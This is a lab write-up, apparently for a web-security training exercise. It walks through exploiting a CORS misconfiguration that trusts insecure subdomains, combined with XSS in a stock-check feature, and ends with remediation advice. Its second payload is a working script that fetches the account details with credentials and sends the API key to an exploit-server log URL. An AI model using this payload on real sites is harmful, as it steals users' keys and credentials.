SCENARIO

The application has an insecure CORS configuration in it which forces the application to that it trusts all subdomains regardless of the protocol. We’ll try to exploit the vulnerability by getting the administrator’s API key.

**PROCEDURE**

1. Open the vulnerable application and log in using the provided credentials and access the **my-account** page.
2. Open the Proxy tab in BurpSuite and we notice that there is a request made named **accountDetails** which contains the API key of the user.
3. Now we will send this request to repeater and there we see that the **ACAO** header is set as true which could be a sign that the application allows requests from subdomain origins.
4. To test this, we will add the Payload 1 in the request and send it, we see that it is accepted so now we will develop an exploit using some malicious JavaScript code where the input field is vulnerable to XSS attack.
5. Upon investigating we see that the stock check functionality of the products are vulnerable to XSS attack.
6. Now add the Payload 2 into the exploit server’s body and store then deliver it to the target.
7. We can see that there comes a request with a unique URL and in it there comes the API key of the administrator encoded in URL format.

**PAYLOAD**

1. Origin: <http://subdomain.0a3a003f0447826980e421de003d0046.web-security-academy.net/>
2. <script>

document.location="http://stock.YOUR-LAB-ID.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"

</script>

**REMEDIATION**

1. **Specific CORS Configuration:** Refine the application's CORS settings. While trusting subdomains might be required for certain operations, it's essential to ensure that only the specific subdomains necessary for the application's operations are trusted. Additionally, ensure that the trusted domains use the appropriate protocol (e.g., https).
2. **Implement Origin Header Validation:** Establish server-side logic that rigorously validates the Origin header against a whitelist of allowed origins. If the origin isn't on the whitelist, don't return the CORS-specific headers.
3. **Mitigate XSS Vulnerabilities:** Address and fix all XSS vulnerabilities in the application. This includes properly validating, sanitizing, and encoding user inputs, especially in the stock check functionality. Consider utilizing Content Security Policy (CSP) to prevent the execution of inline scripts, adding an additional layer against XSS attacks.